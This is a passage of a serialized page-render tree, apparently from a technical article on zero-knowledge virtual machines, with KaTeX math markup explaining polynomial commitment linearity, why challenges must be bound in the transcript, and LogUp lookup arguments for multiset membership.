13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":22,"tag":101,"props":115836,"children":115838},{"className":115837},[25726],[115839],{"type":27,"value":2261},{"type":22,"tag":101,"props":115841,"children":115843},{"className":115842,"style":8231},[8133],[],{"type":22,"tag":101,"props":115845,"children":115847},{"className":115846},[8236],[115848],{"type":27,"value":1511},{"type":22,"tag":101,"props":115850,"children":115852},{"className":115851,"style":8231},[8133],[],{"type":22,"tag":101,"props":115854,"children":115856},{"className":115855},[8042],[115857,115862,116043,116047,116052,116057,116107,116112,116116,116121],{"type":22,"tag":101,"props":115858,"children":115861},{"className":115859,"style":115860},[8047],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":22,"tag":101,"props":115863,"children":115865},{"className":115864},[25611],[115866,115871],{"type":22,"tag":101,"props":115867,"children":115869},{"className":115868,"style":25618},[25611,25616,25617],[115870],{"type":27,"value":112349},{"type":22,"tag":101,"props":115872,"children":115874},{"className":115873},[8069],[115875],{"type":22,"tag":101,"props":115876,"children":115878},{"className":115877},[8074,25629],[115879,116031],{"type":22,"tag":101,"props":115880,"children":115882},{"className":115881},[8079],[115883,116026],{"type":22,"tag":101,"props":115884,"children":115887},{"className":115885,"style":115886},[8084],"height:0.3448em;",[115888],{"type":22,"tag":101,"props":115889,"children":115891},{"style":115890},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[115892,115896],{"type":22,"tag":101,"props":115893,"children":115895},{"className":115894,"style":8094},[8093],[],{"type":22,"tag":101,"props":115897,"children":115899},{"className":115898},[8099,8100,8101,8102],[115900],{"type":22,"tag":101,"props":115901,"children":115903},{"className":115902},[8053,8102],[115904,115958,115963,115968,115973,115978,115983],{"type":22,"tag":101,"props":115905,"children":115907},{"className":115906},[8053,115703,8102],[115908],{"type":22,"tag":101,"props":115909,"children":115911},{"className":115910},[8074],[115912],{"type":22,"tag":101,"props":115913,"children":115915},{"className":115914},[8079],[115916],{"type":22,"tag":101,"props":115917,"children":115920},{"className":115918,"style":115919},[8084],"height:0.9774em;",[115921,115935],{"type":22,"tag":101,"props":115922,"children":115924},{"style":115923},"top:-2.714em;",[115925,115930],{"type":22,"tag":101,"props":115926,"children":115929},{"className":115927,"style":115928},[8093],"height:2.714em;",[],{"type":22,"tag":101,"props":115931,"children":115933},{"className":115932},[8053,25575,8102],[115934],{"type":27,"value":7262},{"type":22,"tag":101,"props":115936,"children":115938},{"style":115937},"top:-2.9774em;",[115939,115943],{"type":22,"tag":101,"props":115940,"children":115942},{"className":115941,"style":115928},[8093],[],{"type":22,"tag":101,"props":115944,"children":115947},{"className":115945,"style":115946},[115743],"left:-0.2355em;",[115948],{"type":22,"tag":101,"props":115949,"children":115951},{"className":115950,"style":115819},[115818,8102],[115952],{"type":22,"tag":38269,"props":115953,"children":115954},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[115955],{"type":22,"tag":115831,"props":115956,"children":115957},{"d":115833},[],{"type":22,"tag":101,"props":115959,"children":115961},{"className":115960},[8236,8102],[115962],{"type":27,"value":25682},{"type":22,"tag":101,"props":115964,"children":115966},{"className":115965},[25704,8102],[115967],{"type":27,"value":80125},{"type":22,"tag":101,"props":115969,"children":115971},{"className":115970},[8053,8102],[115972],{"type":27,"value":8065},{"type":22,"tag":101,"props":115974,"children":115976},{"className":115975},[8165,8102],[115977],{"type":27,"value":8168},{"type":22,"tag":101,"props":115979,"children":115981},{"className":115980},[8053,8102],[115982],{"type":27,"value":6813},{"type":22,"tag":101,"props":115984,"children":115986},{"className":115985},[25726,8102],[115987,115992],{"type":22,"tag":101,"props":115988,"children":115990},{"className":115989},[25726,8102],[115991],{"type":27,"value":38136},{"type":22,"tag":101,"props":115993,"children":115995},{"className":115994},[8069],[115996],{"type":22,"tag":101,"props":115997,"children":115999},{"className":115998},[8074],[116000],{"type":22,"tag":101,"props":116001,"children":116003},{"className":116002},[8079],[116004],{"type":22,"tag":101,"props":116005,"children":116008},{"className":116006,"style":116007},[8084],"height:0.5935em;",[116009],{"type":22,"tag":101,"props":116010,"children":116012},{"style":116011},"top:-2.786em;margin-right:0.0714em;",[116013,116017],{"type":22,"tag":101,"props":116014,"children":116016},{"className":116015,"style":112414},[8093],[],{"type":22,"tag":101,"props":116018,"children":116020},{"className":116019},[8099,112419,112420,8102],[116021],{"type":22,"tag":101,"props":116022,"children":116024},{"className":116023},[8053,25575,8102],[116025],{"type":27,"value":60400},{"type":22,"tag":101,"props":116027,"children":116029},{"className":116028},[25732],[116030],{"type":27,"value":25735},{"type":22,"tag":101,"props":116032,"children":116034},{"className":116033},[8079],[116035],{"type":22,"tag":101,"props":116036,"children":116039},{"className":116037,"style":116038},[8084],"height:0.5144em;",[116040],{"type":22,"tag":101,"props":116041,"children":116042},{},[],{"type":22,"tag":101,"props":116044,"children":116046},{"className":116045,"style":8172},[8133],[],{"type":22,"tag":101,"props":116048,"children":116050},{"className":116049,"style":98908},[8053,25575],[116051],{"type":27,"value":37080},{"type":22,"tag":101,"props":116053,"children":116055},{"className":116054},[25704],[116056],{"type":27,"value":980},{"type":22,"tag":101,"props":116058,"children":116060},{"className":116059},[8053,115703],[116061],{"type":22,"tag":101,"props":116062,"children":116064},{"className":116063},[8074],[116065],{"type":22,"tag":101,"props":116066,"children":116068},{"className":116067},[8079],[116069],{"type":22,"tag":101,"props":116070,"children":116072},{"className":116071,"style":115919},[8084],[116073,116085],{"type":22,"tag":101,"props":116074,"children":116075},{"style":115720},[116076,116080],{"type":22,"tag":101,"props":116077,"children":116079},{"className":116078,"style":115725},[8093],[],{"type":22,"tag":101,"props":116081,"children":116083},{"className":116082},[8053,25575],[116084],{"type":27,"value":7262},{"type":22,"tag":101,"props":116086,"children":116088},{"style":116087},"top:-3.2634em;",[116089,116093],{"type":22,"tag":101,"props":116090,"children":116092},{"className":116091,"style":115725},[8093],[],{"type":22,"tag":101,"props":116094,"children":116096},{"className":116095,"style":115946},[115743],[116097],{"type":22,"tag":101,"props":116098,"children":116100},{"className":116099,"style":115819},[115818],[116101],{"type":22,"tag":38269,"props":116102,"children":116103},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116104],{"type":22,"tag":115831,"props":116105,"children":116106},{"d":115833},[],{"type":22,"tag":101,"props":116108,"children":116110},{"className":116109},[25726],[116111],{"type":27,"value":2261},{"type":22,"tag":101,"props":116113,"children":116115},{"className":116114,"style":8134},[8133],[],{"type":22,"tag":101,"props":116117,"children":116119},{"className":116118},[8139],[116120],{"type":27,"value":114816},{"type":22,"tag":101,"props":116122,"children":116124},{"className":116123,"style":8134},[8133],[],{"type":22,"tag":101,"props":116126,"children":116128},{"className":116127},[8042],[116129,116134,116144,116149,116198,116203,116207,116256],{"type":22,"tag":101,"props":116130,"children":116133},{"className":116131,"style":116132},[8047],"height:1.2274em;vertical-align:-0.25em;",[],{"type":22,"tag":101,"props":116135,"children":116137},{"className":116136},[8053,27],[116138],{"type":22,"tag":101,"props":116139,"children":116141},{"className":116140},[8053],[116142],{"type":27,"value":116143},"eq",{"type":22,"tag":101,"props":116145,"children":116147},{"className":116146},[25704],[116148],{"type":27,"value":980},{"type":22,"tag":101,"props":116150,"children":116152},{"className":116151},[8053,115703],[116153],{"type":22,"tag":101,"props":116154,"children":116156},{"className":116155},[8074],[116157],{"type":22,"tag":101,"props":116158,"children":116160},{"className":116159},[8079],[116161],{"type":22,"tag":101,"props":116162,"children":116164},{"className":116163,"style":115919},[8084],[116165,116177],{"type":22,"tag":101,"props":116166,"children":116167},{"style":115720},[116168,116172],{"type":22,"tag":101,"props":116169,"children":116171},{"className":116170,"style":115725},[8093],[],{"type":22,"tag":101,"props":116173,"children":116175},{"className":116174},[8053,25575],[116176],{"type":27,"value":7262},{"type":22,"tag":101,"props":116178,"children":116179},{"style":116087},[116180,116184],{"type":22,"tag":101,"props":116181,"children":116183},{"className":116182,"style":115725},[8093],[],{"type":22,"tag":101,"props":116185,"children":116187},{"className":116186,"style":115946},[115743],[116188],{"type":22,"tag":101,"props":116189,"children":116191},{"className":116190,"style":115819},[115818],[116192],{"type":22,"tag":38269,"props":116193,"children":116194},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116195],{"type":22,"tag":115831,"props":116196,"children":116197},{"d":115833},[],{"type":22,"tag":101,"props":116199,"children":116201},{"className":116200},[8165],[116202],{"type":27,"value":8168},{"type":22,"tag":101,"props":116204,"children":116206},{"className":116205,"style":8172},[8133],[],{"type":22,"tag":101,"props":116208,"children":116210},{"className":116209},[8053,115703],[116211],{"type":22,"tag":101,"props":116212,"children":116214},{"className":116213},[8074],[116215],{"type":22,"tag":101,"props":116216,"children":116218},{"className":116217},[8079],[116219],{"type":22,"tag":101,"props":116220,"children":116222},{"className":116221,"style":115789},[8084],[116223,116235],{"type":22,"tag":101,"props":116224,"children":116225},{"style":115720},[116226,116230],{"type":22,"tag":101,"props":116227,"children":116229},{"className":116228,"style":115725},[8093],[],{"type":22,"tag":101,"props":116231,"children":116233},{"className":116232,"style":96554},[8053,25575],[116234],{"type":27,"value":97373},{"type":22,"tag":101,"props":116236,"children":116237},{"style":115720},[116238,116242],{"type":22,"tag":101,"props":116239,"children":116241},{"className":116240,"style":115725},[8093],[],{"type":22,"tag":101,"props":116243,"children":116245},{"className":116244,"style":115813},[115743],[116246],{"type":22,"tag":101,"props":116247,"children":116249},{"className":116248,"style":115819},[115818],[116250],{"type":22,"tag":38269,"props":116251,"children":116252},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116253],{"type":22,"tag":115831,"props":116254,"children":116255},{"d":115833},[],{"type":22,"tag":101,"props":116257,"children":116259},{"className":116258},[25726],[116260],{"type":27,"value":2261},{"type":22,"tag":23,"props":116262,"children":116263},{},[116264,116266,116335,116337,116483,116485,116624,116626,116710],{"type":27,"value":116265},"At a fixed challenge point ",{"type":22,"tag":30,"props":116267,"children":116269},{"className":116268},[8026,8027],[116270],{"type":22,"tag":101,"props":116271,"children":116273},{"className":116272},[8032],[116274],{"type":22,"tag":101,"props":116275,"children":116277},{"className":116276,"ariaHidden":5608},[8037],[116278],{"type":22,"tag":101,"props":116279,"children":116281},{"className":116280},[8042],[116282,116286],{"type":22,"tag":101,"props":116283,"children":116285},{"className":116284,"style":115789},[8047],[],{"type":22,"tag":101,"props":116287,"children":116289},{"className":116288},[8053,115703],[116290],{"type":22,"tag":101,"props":116291,"children":116293},{"className":116292},[8074],[116294],{"type":22,"tag":101,"props":116295,"children":116297},{"className":116296},[8079],[116298],{"type":22,"tag":101,"props":116299,"children":116301},{"className":116300,"style":115789},[8084],[116302,116314],{"type":22,"tag":101,"props":116303,"children":116304},{"style":115720},[116305,116309],{"type":22,"tag":101,"props":116306,"children":116308},{"className":116307,"style":115725},[8093],[],{"type":22,"tag":101,"props":116310,"children":116312},{"className":116311,"style":96554},[8053,25575],[116313],{"type":27,"value":97373},{"type":22,"tag":101,"props":116315,"children":116316},{"style":115720},[116317,116321],{"type":22,"tag":101,"props":116318,"children":116320},{"className":116319,"style":115725},[8093],[],{"type":22,"tag":101,"props":116322,"children":116324},{"className":116323,"style":115813},[115743],[116325],{"type":22,"tag":101,"props":116326,"children":116328},{"className":116327,"style":115819},[115818],[116329],{"type":22,"tag":38269,"props":116330,"children":116331},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116332],{"type":22,"tag":115831,"props":116333,"children":116334},{"d":115833},[],{"type":27,"value":116336},", the coefficients ",{"type":22,"tag":30,"props":116338,"children":116340},{"className":116339},[8026,8027],[116341],{"type":22,"tag":101,"props":116342,"children":116344},{"className":116343},[8032],[116345],{"type":22,"tag":101,"props":116346,"children":116348},{"className":116347,"ariaHidden":5608},[8037],[116349],{"type":22,"tag":101,"props":116350,"children":116352},{"className":116351},[8042],[116353,116357,116366,116371,116420,116425,116429,116478],{"type":22,"tag":101,"props":116354,"children":116356},{"className":116355,"style":116132},[8047],[],{"type":22,"tag":101,"props":116358,"children":116360},{"className":116359},[8053,27],[116361],{"type":22,"tag":101,"props":116362,"children":116364},{"className":116363},[8053],[116365],{"type":27,"value":116143},{"type":22,"tag":101,"props":116367,"children":116369},{"className":116368},[25704],[116370],{"type":27,"value":980},{"type":22,"tag":101,"props":116372,"children":116374},{"className":116373},[8053,115703],[116375],{"type":22,"tag":101,"props":116376,"children":116378},{"className":116377},[8074],[116379],{"type":22,"tag":101,"props":116380,"children":116382},{"className":116381},[8079],[116383],{"type":22,"tag":101,"props":116384,"children":116386},{"className":116385,"style":115919},[8084],[116387,116399],{"type":22,"tag":101,"props":116388,"children":116389},{"style":115720},[116390,116394],{"type":22,"tag":101,"props":116391,"children":116393},{"className":116392,"style":115725},[8093],[],{"type":22,"tag":101,"props":116395,"children":116397},{"className":116396},[8053,25575],[116398],{"type":27,"value":7262},{"type":22,"tag":101,"props":116400,"children":116401},{"style":116087},[116402,116406],{"type":22,"tag":101,"props":116403,"children":116405},{"className":116404,"style":115725},[8093],[],{"type":22,"tag":101,"props":116407,"children":116409},{"className":116408,"style":115946},[115743],[116410],{"type":22,"tag":101,"props":116411,"children":116413},{"className":116412,"style":115819},[115818],[116414],{"type":22,"tag":38269,"props":116415,"children":116416},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116417],{"type":22,"tag":115831,"props":116418,"children":116419},{"d":115833},[],{"type":22,"tag":101,"props":116421,"children":116423},{"className":116422},[8165],[116424],{"type":27,"value":8168},{"type":22,"tag":101,"props":116426,"children":116428},{"className":116427,"style":8172},[8133],[],{"type":22,"tag":101,"props":116430,"children":116432},{"className":116431},[8053,115703],[116433],{"type":22,"tag":101,"props":116434,"children":116436},{"className":116435},[8074],[116437],{"type":22,"tag":101,"props":116438,"children":116440},{"className":116439},[8079],[116441],{"type":22,"tag":101,"props":116442,"children":116444},{"className":116443,"style":115789},[8084],[116445,116457],{"type":22,"tag":101,"props":116446,"children":116447},{"style":115720},[116448,116452],{"type":22,"tag":101,"props":116449,"children":116451},{"className":116450,"style":115725},[8093],[],{"type":22,"tag":101,"props":116453,"children":116455},{"className":116454,"style":96554},[8053,25575],[116456],{"type":27,"value":97373},{"type":22,"tag":101,"props":116458,"children":116459},{"style":115720},[116460,116464],{"type":22,"tag":101,"props":116461,"children":116463},{"className":116462,"style":115725},[8093],[],{"type":22,"tag":101,"props":116465,"children":116467},{"className":116466,"style":115813},[115743],[116468],{"type":22,"tag":101,"props":116469,"children":116471},{"className":116470,"style":115819},[115818],[116472],{"type":22,"tag":38269,"props":116473,"children":116474},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116475],{"type":22,"tag":115831,"props":116476,"children":116477},{"d":115833},[],{"type":22,"tag":101,"props":116479,"children":116481},{"className":116480},[25726],[116482],{"type":27,"value":2261},{"type":27,"value":116484}," are constants, so ",{"type":22,"tag":30,"props":116486,"children":116488},{"className":116487},[8026,8027],[116489],{"type":22,"tag":101,"props":116490,"children":116492},{"className":116491},[8032],[116493],{"type":22,"tag":101,"props":116494,"children":116496},{"className":116495,"ariaHidden":5608},[8037],[116497],{"type":22,"tag":101,"props":116498,"children":116500},{"className":116499},[8042],[116501,116505,116565,116570,116619],{"type":22,"tag":101,"props":116502,"children":116504},{"className":116503,"style":115698},[8047],[],{"type":22,"tag":101,"props":116506,"children":116508},{"className":116507},[8053,115703],[116509],{"type":22,"tag":101,"props":116510,"children":116512},{"className":116511},[8074,25629],[116513,116554],{"type":22,"tag":101,"props":116514,"children":116516},{"className":116515},[8079],[116517,116549],{"type":22,"tag":101,"props":116518,"children":116520},{"className":116519,"style":115716},[8084],[116521,116533],{"type":22,"tag":101,"props":116522,"children":116523},{"style":115720},[116524,116528],{"type":22,"tag":101,"props":116525,"children":116527},{"className":116526,"style":115725},[8093],[],{"type":22,"tag":101,"props":116529,"children":116531},{"className":116530,"style":98908},[8053,25575],[116532],{"type":27,"value":37080},{"type":22,"tag":101,"props":116534,"children":116535},{"style":115734},[116536,116540],{"type":22,"tag":101,"props":116537,"children":116539},{"className":116538,"style":115725},[8093],[],{"type":22,"tag":101,"props":116541,"children":116543},{"className":116542,"style":115744},[115743],[116544],{"type":22,"tag":101,"props":116545,"children":116547},{"className":116546},[8053],[116548],{"type":27,"value":115751},{"type":22,"tag":101,"props":116550,"children":116552},{"className":116551},[25732],[116553],{"type":27,"value":25735},{"type":22,"tag":101,"props":116555,"children":116557},{"className":116556},[8079],[116558],{"type":22,"tag":101,"props":116559,"children":116561},{"className":116560,"style":115764},[8084],[116562],{"type":22,"tag":101,"props":116563,"children":116564},{},[],{"type":22,"tag":101,"props":116566,"children":116568},{"className":116567},[25704],[116569],{"type":27,"value":980},{"type":22,"tag":101,"props":116571,"children":116573},{"className":116572},[8053,115703],[116574],{"type":22,"tag":101,"props":116575,"children":116577},{"className":116576},[8074],[116578],{"type":22,"tag":101,"props":116579,"children":116581},{"className":116580},[8079],[116582],{"type":22,"tag":101,"props":116583,"children":116585},{"className":116584,"style":115789},[8084],[116586,116598],{"type":22,"tag":101,"props":116587,"children":116588},{"style":115720},[116589,116593],{"type":22,"tag":101,"props":116590,"children":116592},{"className":116591,"style":115725},[8093],[],{"type":22,"tag":101,"props":116594,"children":116596},{"className":116595,"style":96554},[8053,25575],[116597],{"type":27,"value":97373},{"type":22,"tag":101,"props":116599,"children":116600},{"style":115720},[116601,116605],{"type":22,"tag":101,"props":116602,"children":116604},{"className":116603,"style":115725},[8093],[],{"type":22,"tag":101,"props":116606,"children":116608},{"className":116607,"style":115813},[115743],[116609],{"type":22,"tag":101,"props":116610,"children":116612},{"className":116611,"style":115819},[115818],[116613],{"type":22,"tag":38269,"props":116614,"children":116615},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116616],{"type":22,"tag":115831,"props":116617,"children":116618},{"d":115833},[],{"type":22,"tag":101,"props":116620,"children":116622},{"className":116621},[25726],[116623],{"type":27,"value":2261},{"type":27,"value":116625}," is linear in the table values ",{"type":22,"tag":30,"props":116627,"children":116629},{"className":116628},[8026,8027],[116630],{"type":22,"tag":101,"props":116631,"children":116633},{"className":116632},[8032],[116634],{"type":22,"tag":101,"props":116635,"children":116637},{"className":116636,"ariaHidden":5608},[8037],[116638],{"type":22,"tag":101,"props":116639,"children":116641},{"className":116640},[8042],[116642,116646,116651,116656,116705],{"type":22,"tag":101,"props":116643,"children":116645},{"className":116644,"style":116132},[8047],[],{"type":22,"tag":101,"props":116647,"children":116649},{"className":116648,"style":98908},[8053,25575],[116650],{"type":27,"value":37080},{"type":22,"tag":101,"props":116652,"children":116654},{"className":116653},[25704],[116655],{"type":27,"value":980},{"type":22,"tag":101,"props":116657,"children":116659},{"className":116658},[8053,115703],[116660],{"type":22,"tag":101,"props":116661,"children":116663},{"className":116662},[8074],[116664],{"type":22,"tag":101,"props":116665,"children":116667},{"className":116666},[8079],[116668],{"type":22,"tag":101,"props":116669,"children":116671},{"className":116670,"style":115919},[8084],[116672,116684],{"type":22,"tag":101,"props":116673,"children":116674},{"style":115720},[116675,116679],{"type":22,"tag":101,"props":116676,"children":116678},{"className":116677,"style":115725},[8093],[],{"type":22,"tag":101,"props":116680,"children":116682},{"className":116681},[8053,25575],[116683],{"type":27,"value":7262},{"type":22,"tag":101,"props":116685,"children":116686},{"style":116087},[116687,116691],{"type":22,"tag":101,"props":116688,"children":116690},{"className":116689,"style":115725},[8093],[],{"type":22,"tag":101,"props":116692,"children":116694},{"className":116693,"style":115946},[115743],[116695],{"type":22,"tag":101,"props":116696,"children":116698},{"className":116697,"style":115819},[115818],[116699],{"type":22,"tag":38269,"props":116700,"children":116701},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116702],{"type":22,"tag":115831,"props":116703,"children":116704},{"d":115833},[],{"type":22,"tag":101,"props":116706,"children":116708},{"className":116707},[25726],[116709],{"type":27,"value":2261},{"type":27,"value":231},{"type":22,"tag":23,"props":116712,"children":116713},{},[116714,116716,116785],{"type":27,"value":116715},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":22,"tag":30,"props":116717,"children":116719},{"className":116718},[8026,8027],[116720],{"type":22,"tag":101,"props":116721,"children":116723},{"className":116722},[8032],[116724],{"type":22,"tag":101,"props":116725,"children":116727},{"className":116726,"ariaHidden":5608},[8037],[116728],{"type":22,"tag":101,"props":116729,"children":116731},{"className":116730},[8042],[116732,116736],{"type":22,"tag":101,"props":116733,"children":116735},{"className":116734,"style":115789},[8047],[],{"type":22,"tag":101,"props":116737,"children":116739},{"className":116738},[8053,115703],[116740],{"type":22,"tag":101,"props":116741,"children":116743},{"className":116742},[8074],[116744],{"type":22,"tag":101,"props":116745,"children":116747},{"className":116746},[8079],[116748],{"type":22,"tag":101,"props":116749,"children":116751},{"className":116750,"style":115789},[8084],[116752,116764],{"type":22,"tag":101,"props":116753,"children":116754},{"style":115720},[116755,116759],{"type":22,"tag":101,"props":116756,"children":116758},{"className":116757,"style":115725},[8093],[],{"type":22,"tag":101,"props":116760,"children":116762},{"className":116761,"style":96554},[8053,25575],[116763],{"type":27,"value":97373},{"type":22,"tag":101,"props":116765,"children":116766},{"style":115720},[116767,116771],{"type":22,"tag":101,"props":116768,"children":116770},{"className":116769,"style":115725},[8093],[],{"type":22,"tag":101,"props":116772,"children":116774},{"className":116773,"style":115813},[115743],[116775],{"type":22,"tag":101,"props":116776,"children":116778},{"className":116777,"style":115819},[115818],[116779],{"type":22,"tag":38269,"props":116780,"children":116781},{"xmlns":115823,"width":115824,"height":115825,"style":115826,"viewBox":115827,"preserveAspectRatio":115828},[116782],{"type":22,"tag":115831,"props":116783,"children":116784},{"d":115833},[],{"type":27,"value":116786}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":22,"tag":1760,"props":116788,"children":116790},{"id":116789},"lookup-arguments-logup",[116791],{"type":27,"value":116792},"Lookup Arguments (LogUp)",{"type":22,"tag":23,"props":116794,"children":116795},{},[116796],{"type":27,"value":116797},"zkVMs need to check that values satisfy certain properties. For example:",{"type":22,"tag":6839,"props":116799,"children":116800},{},[116801,116857,116862],{"type":22,"tag":6832,"props":116802,"children":116803},{},[116804,116806,116856],{"type":27,"value":116805},"Is this byte in range ",{"type":22,"tag":30,"props":116807,"children":116809},{"className":116808},[8026,8027],[116810],{"type":22,"tag":101,"props":116811,"children":116813},{"className":116812},[8032],[116814],{"type":22,"tag":101,"props":116815,"children":116817},{"className":116816,"ariaHidden":5608},[8037],[116818],{"type":22,"tag":101,"props":116819,"children":116821},{"className":116820},[8042],[116822,116826,116831,116836,116841,116845,116851],{"type":22,"tag":101,"props":116823,"children":116825},{"className":116824,"style":8154},[8047],[],{"type":22,"tag":101,"props":116827,"children":116829},{"className":116828},[25704],[116830],{"type":27,"value":2414},{"type":22,"tag":101,"props":116832,"children":116834},{"className":116833},[8053],[116835],{"type":27,"value":8065},{"type":22,"tag":101,"props":116837,"children":116839},{"className":116838},[8165],[116840],{"type":27,"value":8168},{"type":22,"tag":101,"props":116842,"children":116844},{"className":116843,"style":8172},[8133],[],{"type":22,"tag":101,"props":116846,"children":116848},{"className":116847},[8053],[116849],{"type":27,"value":116850},"255",{"type":22,"tag":101,"props":116852,"children":116854},{"className":116853},[25726],[116855],{"type":27,"value":19412},{"type":27,"value":5455},{"type":22,"tag":6832,"props":116858,"children":116859},{},[116860],{"type":27,"value":116861},"Does this opcode decode correctly?",{"type":22,"tag":6832,"props":116863,"children":116864},{},[116865],{"type":27,"value":116866},"Is this memory access consistent with previous accesses?",{"type":22,"tag":23,"props":116868,"children":116869},{},[116870,116875],{"type":22,"tag":9370,"props":116871,"children":116872},{},[116873],{"type":27,"value":116874},"The naive approach:",{"type":27,"value":116876}," Add constraints for each check. Expensive.",{"type":22,"tag":23,"props":116878,"children":116879},{},[116880,116885,116887,116892],{"type":22,"tag":9370,"props":116881,"children":116882},{},[116883],{"type":27,"value":116884},"The clever approach:",{"type":27,"value":116886}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":22,"tag":9370,"props":116888,"children":116889},{},[116890],{"type":27,"value":116891},"multiset membership",{"type":27,"value":71300},{"type":22,"tag":23,"props":116894,"children":116895},{},[116896,116901],{"type":22,"tag":9370,"props":116897,"children":116898},{},[116899],{"type":27,"value":116900},"LogUp (Logarithmic Derivative):",{"type":27,"value":116902}," Encode multiset membership as a sum of fractions.",{"type":22,"tag":23,"props":116904,"children":116905},{},[116906,116908,116933,116935,116962],{"type":27,"value":116907},"If set ",{"type":22,"tag":30,"props":116909,"children":116911},{"className":116910},[8026,8027],[116912],{"type":22,"tag":101,"props":116913,"children":116915},{"className":116914},[8032],[116916],{"type":22,"tag":101,"props":116917,"children":116919},{"className":116918,"ariaHidden":5608},[8037],[116920],{"type":22,"tag":101,"props":116921,"children":116923},{"className":116922},[8042],[116924,116928],{"type":22,"tag":101,"props":116925,"children":116927},{"className":116926,"style":25570},[8047],[],{"type":22,"tag":101,"props":116929,"children":116931},{"className":116930},[8053,25575],[116932],{"type":27,"value":80274},{"type":27,"value":116934}," should equal set ",{"type":22,"tag":30,"props":116936,"children":116938},{"className":116937},[8026,8027],[116939],{"type":22,"tag":101,"props":116940,"children":116942},{"className":116941},[8032],[116943],{"type":22,"tag":101,"props":116944,"children":116946},{"className":116945,"ariaHidden":5608},[8037],[116947],{"type":22,"tag":101,"props":116948,"children":116950},{"className":116949},[8042],[116951,116955],{"type":22,"tag":101,"props":116952,"children":116954},{"className":116953,"style":25570},[8047],[],{"type":22,"tag":101,"props":116956,"children":116959},{"className":116957,"style":116958},[8053,25575],"margin-right:0.05017em;",[116960],{"type":27,"value":116961},"B",{"type":27,"value":116963}," as multisets:",{"type":22,"tag":23,"props":116965,"children":116966},{},[116967],{"type":22,"tag":30,"props":116968,"children":116970},{"className":116969},[8026,8027],[116971],{"type":22,"tag":101,"props":116972,"children":116974},{"className":116973},[8032],[116975],{"type":22,"tag":101,"props":116976,"children":116978},{"className":116977,"ariaHidden":5608},[8037],[116979,117194],{"type":22,"tag":101,"props":116980,"children":116982},{"className":116981},[8042],[116983,116988,117061,117065,117181,117185,117190],{"type":22,"tag":101,"props":116984,"children":116987},{"className":116985,"style":116986},[8047],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":22,"tag":101,"props":116989,"children":116991},{"className":116990},[25611],[116992,116997],{"type":22,"tag":101,"props":116993,"children":116995},{"className":116994,"style":25618},[25611,25616,25617],[116996],{"type":27,"value":112349},{"type":22,"tag":101,"props":116998,"children":117000},{"className":116999},[8069],[117001],{"type":22,"tag":101,"props":117002,"children":117004},{"className":117003},[8074,25629],[117005,117049],{"type":22,"tag":101,"props":117006,"children":117008},{"className":117007},[8079],[117009,117044],{"type":22,"tag":101,"props":117010,"children":117013},{"className":117011,"style":117012},[8084],"height:0.1786em;",[117014],{"type":22,"tag":101,"props":117015,"children":117016},{"style":25642},[117017,117021],{"type":22,"tag":101,"props":117018,"children":117020},{"className":117019,"style":8094},[8093],[],{"type":22,"tag":101,"props":117022,"children":117024},{"className":117023},[8099,8100,8101,8102],[117025],{"type":22,"tag":101,"props":117026,"children":117028},{"className":117027},[8053,8102],[117029,117034,117039],{"type":22,"tag":101,"props":117030,"children":117032},{"className":117031},[8053,25575,8102],[117033],{"type":27,"value":80},{"type":22,"tag":101,"props":117035,"children":117037},{"className":117036},[8236,8102],[117038],{"type":27,"value":25682},{"type":22,"tag":101,"props":117040,"children":117042},{"className":117041},[8053,25575,8102],[117043],{"type":27,"value":80274},{"type":22,"tag":101,"props":117045,"children":117047},{"className":117046},[25732],[117048],{"type":27,"value":25735},{"type":22,"tag":101,"props":117050,"children":117052},{"className":117051},[8079],[117053],{"type":22,"tag":101,"props":117054,"children":117057},{"className":117055,"style":117056},[8084],"height:0.3271em;",[117058],{"type":22,"tag":101,"props":117059,"children":117060},{},[],{"type":22,"tag":101,"props":117062,"children":117064},{"className":117063,"style":8172},[8133],[],{"type":22,"tag":101,"props":117066,"children":117068},{"className":117067},[8053],[117069,117074,117177],{"type":22,"tag":101,"props":117070,"children":117073},{"className":117071},[25704,117072],"nulldelimiter",[],{"type":22,"tag":101,"props":117075,"children":117078},{"className":117076},[117077],"mfrac",[117079],{"type":22,"tag":101,"props":117080,"children":117082},{"className":117081},[8074,25629],[117083,117165],{"type":22,"tag":101,"props":117084,"children":117086},{"className":117085},[8079],[117087,117160],{"type":22,"tag":101,"props":117088,"children":117091},{"className":117089,"style":117090},[8084],"height:0.8451em;",[117092,117125,117139],{"type":22,"tag":101,"props":117093,"children":117095},{"style":117094},"top:-2.655em;",[117096,117100],{"type":22,"tag":101,"props":117097,"children":117099},{"className":117098,"style":115725},[8093],[],{"type":22,"tag":101,"props":117101,"children":117103},{"className":117102},[8099,8100,8101,8102],[117104],{"type":22,"tag":101,"props":117105,"children":117107},{"className":117106},[8053,8102],[117108,117115,117120],{"type":22,"tag":101,"props":117109,"children":117112},{"className":117110,"style":117111},[8053,25575,8102],"margin-right:0.04398em;",[117113],{"type":27,"value":117114},"z",{"type":22,"tag":101,"props":117116,"children":117118},{"className":117117},[8139,8102],[117119],{"type":27,"value":8113},{"type":22,"tag":101,"props":117121,"children":117123},{"className":117122},[8053,25575,8102],[117124],{"type":27,"value":80},{"type":22,"tag":101,"props":117126,"children":117128},{"style":117127},"top:-3.23em;",[117129,117133],{"type":22,"tag":101,"props":117130,"children":117132},{"className":117131,"style":115725},[8093],[],{"type":22,"tag":101,"